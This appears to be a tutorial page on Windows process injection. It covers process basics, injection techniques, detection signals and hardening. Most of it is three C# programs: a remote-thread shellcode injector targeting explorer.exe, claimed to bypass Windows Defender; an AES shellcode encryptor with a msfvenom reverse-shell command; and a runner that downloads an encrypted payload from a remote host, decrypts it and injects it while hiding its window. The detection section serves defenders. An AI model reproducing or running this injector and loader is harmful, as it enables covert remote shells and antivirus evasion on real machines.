Think of a program file as an instruction manual sitting on disk. The moment the operating-system loader reads that manual and begins following the instructions, the program stops
being a passive file and becomes a process: an active, in-memory instance with its own identity (PID), a private virtual-address space, a security context (token), open handles,
and a collection of threads that execute its code. The operating system tracks every detail of this living entity in a data structure called the Process Control Block (PCB). From
the user’s perspective, a process is the running application; from the kernel’s perspective, it is a container of resources that must be scheduled, protected, and eventually
cleaned up.
Key Points:
A process is created when a program is launched.
It has a unique Process ID (PID) assigned by the operating system.
Processes can spawn child processes, forming a hierarchy.
Technique families:
Alloc ➜ Write ➜ Run (remote thread, Early-Bird APC)
📂 Map binaries: Maps the executable and its DLLs into a fresh address space.
🗄️ Set up memory: Builds the initial stack, heap, and Thread Environment Block.
⚡ Spawn entry thread: Creates the first thread, pointing its instruction pointer at the program’s entry-point
Core states
🆕 New
OS builds internal structures; not yet eligible to run and the process is being created.
🕒 Ready
The process is loaded into memory and waiting for CPU time.
⚙️ Running
The process is executing on the CPU.
⏸️ Waiting/Blocked
The process is paused, waiting for an event (Ex: I/O operation).
🏁 Terminated
The process has finished execution or was forcefully stopped.
💡 Context switches move the CPU between the Ready and Running processes in milliseconds, preserving the illusion that hundreds of programs run simultaneously.
Injection vs Process Injection?
What is injection?
Injection: is the art of sneaking data or code into a context that implicitly trusts its input, think a poisoned SQL statement, command,
or script. The interpreter accepts and runs the hostile payload as if it were legitimate logic.
What is process injection?
Process injection: is a method where an attacker inserts malicious code into a legitimate process's memory space. This allows the attacker to execute
code under the guise of the legitimate process, bypassing security measures. The main goal is Execute malicious/payload code within a trusted process to, Evade Detection
Access the target process’s memory/resources or Escalate Privileges.
Why attackers use it?
🕵️♂️ Hides inside trusted binaries to bypass AV/EDR.
🔑 Re-uses the target’s credentials and open network sessions.
📉 Leaves few artefacts, often completely file-less.
Allocate memory Uses OS APIs VirtualAllocEx() to allocate memory inside the target process.
Write payload Copies malicious code (DLL or shellcode) into that memory WriteProcessMemory
Trigger execution Forces the target process to run the payload via CreateRemoteThread().
Why Process Injection Is Dangerous?
A running process inherits the trust and thus the permissions granted to its executable image. By forcing hostile code to execute inside that already-trusted boundary, an attacker
gains:
🛡️
Defense Evasion:
AV/EDR sensors apply lighter scrutiny to permitted binaries; malware that “lives off the land” inside explorer.exe, lsass.exe, or a signed vendor agent blends into normal
telemetry and inherits that binary’s allow-lists and exclusions.
🌐
Surface Expansion:
Attackers gain the victim’s open sockets, named pipes, and GUI handles, making exfiltration or C2 traffic look like ordinary application chatter.
👻
Stealth Persistence:
Reflective loaders keep everything in-memory. No new executable hits disk, and the malware can re-inject after reboot via innocuous tasks or macros.
📡
Lateral Movement:
Attackers can inject into processes on remote systems leveraging RPC, WMI, PsExec, or exploit kits to propagate across the network and widen their foothold.
Process Injection Blue-Team Signals
Prioritise these high-signal clues to catch injections before they escalate.
Abnormal Handles
Alert on OpenProcess(PROCESS_VM_WRITE | PROCESS_CREATE_THREAD…) where caller ≠ target parent, or when a Medium-integrity process opens a High-integrity target
or from Normal User to SYSTEM.
Suspicious memory patterns
Watch for fresh RWX/RX regions, or rapid RW→RX
flips with high entropy and no PE header.
API Monitoring
Watch for suspicious calls such as: VirtualAllocEx/WriteProcessMemory/CreateRemoteThread.
Process Relationships
Baseline normal process behavior and flag deviations like msiexec.exe and spawning cmd.exe is not normal.
Logging and EDR
Use Endpoint Detection and Response (EDR) tools to log process creation, memory writes, and thread activity.
💡 Modern EDRs chain these signals with ML models, but blue-teams can approximate with Sysmon + Yara + Windows Defender Attack Surface Reduction (ASR) rules.
Preventing Process Injection
Layered controls that raise the cost of in-memory attacks.
🔒 Least-Privilege Handles:
Run applications and users with minimal permissions with no admin rights.
🧬 OS Hardening:
Disable unnecessary COM/DLL components via Attack Surface Reduction rules.
🛠️ Behavioral Monitoring:
Deploy EDR solutions that analyze process behavior in real-time.
📜 Application Whitelisting:
Enforce WDAC or AppLocker to restrict which binaries can start or load DLLs; and only allow trusted executables.
🚨 Network Segmentation:
Isolate critical systems; restrict lateral movement paths.
🏗️ Patch Management:
Keep operating systems and software updated to fix vulnerabilities exploited for injection.
💡 Process injection is a versatile and stealthy attack technique, but understanding its mechanics, detection methods, and prevention strategies can significantly reduce the risk.
No single control is absolute, so combining technical controls such as policy, prevention, detection, correction, will help in mitigating the attack.
Process Injection Techniques
Technique
How It Works
Primary Use-Case
DLL Injection
Forces target to load a malicious DLL via LoadLibrary()
Stealth payload execution
Reflective DLL
Maps and calls the DLL entirely from memory without touching disk
EDR file-scan evasion
Process Hollowing
Overwrites a suspended process’s memory (e.g., notepad.exe) with malware
Ransomware deployment
APC Injection
Queues malicious code in an Asynchronous Procedure Call to victim threads
Living-off-the-land attacks
Thread Exec Hijack
Redirects an existing thread’s instruction pointer to shellcode
Thread-based detection bypass
Early-Bird APC
Injects code before the target’s main thread starts executing
Runtime-hook evasion
Herpaderping
Abuses process-creation race conditions to hide the malicious image
Disk-forensic evasion
Process Injection Walkthrough
1
Attach to the Running Process
Call OpenProcess() or NtOpenProcess to get a handle to the target process
with PROCESS_VM_WRITE & PROCESS_CREATE_THREAD. Why: Grants you permission to modify memory and start threads inside the targeted process.
2
Allocate Memory
Use VirtualAllocEx() to allocate an RW region in the targeted process. Why: Provides a safe, private space to drop your payload without corrupting existing data.
3
Write the Payload
Call WriteProcessMemory() to copy your shellcode or reflective stub into the allocated pages. Why: Places the executable instructions inside the target’s address space.
4
Change to Execute
Invoke VirtualProtectEx() to switch pages to PAGE_EXECUTE_READ. Why: Tthe CPU will run your code.
5
Trigger Execution
Call CreateRemoteThread(), or an APC Injection, or thread hijack to hand control to your code. Why: Launches the payload inside the process, inheriting its trust and privileges.
C# project: Process Injection
This has been tested and will bypass windows defender.
// Project Name: Classic Remote Thread Injection - Hardcoded shellcode
// By: Iron Hulk
using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, Int32 flAllocationType, Int32 flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, int flNewProtect, out int lpflOldProtect);
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
public const int PROCESS_CREATE_THREAD = 0x0002;
public const int PROCESS_QUERY_INFORMATION = 0x0400;
public const int PROCESS_VM_OPERATION = 0x0008;
public const int PROCESS_VM_WRITE = 0x0020;
public const int PROCESS_VM_READ = 0x0010;
public const int MEM_COMMIT = 0x1000;
public const int PAGE_EXECUTE_READWRITE = 0x40;
public const int PAGE_EXECUTE_READ = 0x20;
public const int PAGE_READWRITE = 0x04;
public const int SW_HIDE = 0;
}
class Program
{
static void Main(string[] args)
{
IntPtr handle = Win32.GetConsoleWindow();
Win32.ShowWindow(handle, Win32.SW_HIDE);
// Encrypted payload goes here
byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3"));
Enc = Encrypt.AES_Decrypt(Enc, key);
string procName = "explorer"; // this is the process to be injected, change if needed
int remoteProcId = GetPid(procName);
TimeSpan ts = new TimeSpan(0, 0, 10); // Delay Execution for 10 seconds
Thread.Sleep(ts);
InjectShellcode(Enc, remoteProcId);
}
static int GetPid(string procName)
{
int remoteProcId = 0;
Process[] procs = Process.GetProcesses();
foreach (Process proc in procs)
{
if (proc.ProcessName == procName)
{
remoteProcId = proc.Id;
break;
}
}
return remoteProcId;
}
static void InjectShellcode(byte[] shellcode, int remoteProcId)
{
IntPtr hProcess = Win32.OpenProcess(Win32.PROCESS_CREATE_THREAD | Win32.PROCESS_QUERY_INFORMATION | Win32.PROCESS_VM_OPERATION |
Win32.PROCESS_VM_WRITE | Win32.PROCESS_VM_READ, false, remoteProcId);
IntPtr spaceAddr = Win32.VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length, Win32.MEM_COMMIT, Win32.PAGE_READWRITE);
Win32.WriteProcessMemory(hProcess, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
int oldProtect;
Win32.VirtualProtectEx(hProcess, spaceAddr, (UIntPtr)shellcode.Length, Win32.PAGE_EXECUTE_READ, out oldProtect);
Win32.CreateRemoteThread(hProcess, IntPtr.Zero, 0, spaceAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
class Encrypt
{
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
/*
This code performs classic remote thread injection (using CreateRemoteThread()),
not thread hijacking, APC injection, or other advanced techniques. Let's break it down:
1 — Locate target: GetPid("explorer") which will find the PID of explorer.exe.
2 — Anti-UI: GetConsoleWindow → ShowWindow(SW_HIDE), it will hide its own console window for a cleaner launch.
3 — Decrypt payload: SHA256 → AES_Decrypt, it uses a hard-coded passphrase (“MyK3yG0o0zH3r3”) → SHA-256 → PBKDF2 (1000 iter)
to derive AES-256-CBC key+IV and decrypt an embedded byte array (Enc).
4 — Open remote handle: OpenProcess(PROCESS_VM_WRITE ∣ … ∣ PROCESS_CREATE_THREAD), gains full VM + thread-creation rights on the remote process.
5 — Allocate memory: VirtualAllocEx(..., MEM_COMMIT, PAGE_READWRITE), it will reserves RW pages in explorer.exe.
6 — Copy shellcode: WriteProcessMemory, drops the decrypted shellcode into that region.
7 — Make it executable: VirtualProtectEx(..., PAGE_EXECUTE_READ), it will flip protection so the CPU is allowed to execute it.
8 — Launch payload: CreateRemoteThread(..., lpStartAddress = spaceAddr) and spawns a new thread whose entry point is the shellcode you just wrote.
*/
Download From Remote
Don't for get to start http server if its on your local host.
Encryption
// Project Name: Classic Remote Thread Injection - Encryption
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 EXITFUNC=thread -f raw -o injection.bin
// This will create a new file: injection.enc
// By: Iron Hulk
using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;
public static class Encryptor
{
private const int Iterations = 1000;
private static readonly byte[] Salt = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
public static int Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("[!] Usage: encrypt_shellcode_to_file file");
return 1;
}
string inputPath = args[0];
if (!File.Exists(inputPath))
{
Console.WriteLine("[!] File not found: {0}", inputPath);
return 2;
}
byte[] plain = File.ReadAllBytes(inputPath);
Console.WriteLine("[<] Shellcode Length: {0} Bytes", plain.Length);
byte[] passwordBytes;
using (SHA256 sha = SHA256.Create())
{
passwordBytes = sha.ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // ← Encryption Key
}
byte[] encrypted = EncryptAes(plain, passwordBytes);
Console.WriteLine("[+] Encrypted Shellcode Length: {0} Bytes", encrypted.Length);
string outPath = Path.ChangeExtension(inputPath, ".enc"); // ← save as .enc
File.WriteAllBytes(outPath, encrypted);
Console.WriteLine("[>] Encrypted Shellcode Saved in {0}", outPath);
Console.WriteLine(ToByteArrayLiteral("encryptedShellcode", encrypted));
return 0;
}
private static byte[] EncryptAes(byte[] data, byte[] passwordBytes)
{
using (var derive = new Rfc2898DeriveBytes(passwordBytes, Salt, Iterations))
using (Aes aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Mode = CipherMode.CBC;
aes.Key = derive.GetBytes(aes.KeySize / 8);
aes.IV = derive.GetBytes(aes.BlockSize / 8);
using (var ms = new MemoryStream())
using (var cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(data, 0, data.Length);
cs.FlushFinalBlock();
return ms.ToArray();
}
}
}
private static string ToByteArrayLiteral(string name, byte[] bytes)
{
var sb = new StringBuilder();
sb.Append($"byte[] {name} = new byte[] {{ ");
for (int i = 0; i < bytes.Length; i++)
{
sb.Append("0x").Append(bytes[i].ToString("X2"));
if (i < bytes.Length - 1) sb.Append(", ");
}
sb.Append(" };");
return sb.ToString();
}
}
Runner
// Project Name: Classic Remote Thread Injection - Download -> Decryption -> Inject -> Run
// By: Iron Hulk
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
class W
{
[DllImport("kernel32")]
public static extern IntPtr GetConsoleWindow();
[DllImport("kernel32")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, int flAllocationType, int flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("user32")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
public const int PROCESS_CREATE_THREAD = 0x0002;
public const int PROCESS_QUERY_INFORMATION = 0x0400;
public const int PROCESS_VM_OPERATION = 0x0008;
public const int PROCESS_VM_WRITE = 0x0020;
public const int PROCESS_VM_READ = 0x0010;
public const int MEM_COMMIT = 0x1000;
public const int PAGE_EXECUTE_READWRITE = 0x40;
public const int SW_HIDE = 0;
public static void HideWindow(IntPtr handle)
{
ShowWindow(handle, SW_HIDE);
}
}
class Program
{
public static void Main(string[] a)
{
IntPtr h = W.GetConsoleWindow();
W.HideWindow(h);
// Download encrypted payload
byte[] encryptedPayload = DownloadPayload("http://10.10.10.10/injection.enc"); // ← CHANGE THIS
// Get decryption key
byte[] key = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes("MyK3yG0o0zH3r3")); // ← Decryption key
// Decrypt payload
byte[] decryptedPayload = Decryption.AES_Decrypt(encryptedPayload, key);
string procName = "explorer"; // ← The targeted process
int r = GetPid(procName);
Thread.Sleep(new TimeSpan(0, 0, 2)); // ← Deley execution for 2 seconds
// Inject into target process
InjectShellcode(decryptedPayload, r);
}
static byte[] DownloadPayload(string url)
{
using (WebClient client = new WebClient())
{
return client.DownloadData(url);
}
}
static int GetPid(string procName)
{
foreach (Process proc in Process.GetProcesses())
{
if (proc.ProcessName.Equals(procName, StringComparison.OrdinalIgnoreCase))
{
return proc.Id;
}
}
return 0;
}
static void InjectShellcode(byte[] shellcode, int remoteProcId)
{
IntPtr hProcess = W.OpenProcess(
W.PROCESS_CREATE_THREAD | W.PROCESS_QUERY_INFORMATION |
W.PROCESS_VM_OPERATION | W.PROCESS_VM_WRITE | W.PROCESS_VM_READ,
false,
remoteProcId
);
IntPtr spaceAddr = W.VirtualAllocEx(
hProcess,
IntPtr.Zero,
shellcode.Length,
W.MEM_COMMIT,
W.PAGE_EXECUTE_READWRITE
);
W.WriteProcessMemory(
hProcess,
spaceAddr,
shellcode,
new IntPtr(shellcode.Length),
0
);
W.CreateRemoteThread(
hProcess,
IntPtr.Zero,
0,
spaceAddr,
IntPtr.Zero,
0,
IntPtr.Zero
);
}
}
class Decryption
{
public static byte[] AES_Decrypt(byte[] encryptedData, byte[] passwordBytes)
{
byte[] salt = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
const int iterations = 1000;
using (Aes aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Mode = CipherMode.CBC;
using (var deriveBytes = new Rfc2898DeriveBytes(passwordBytes, salt, iterations))
{
aes.Key = deriveBytes.GetBytes(aes.KeySize / 8);
aes.IV = deriveBytes.GetBytes(aes.BlockSize / 8);
}
using (var ms = new MemoryStream())
{
using (var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encryptedData, 0, encryptedData.Length);
}
return ms.ToArray();
}
}
}
}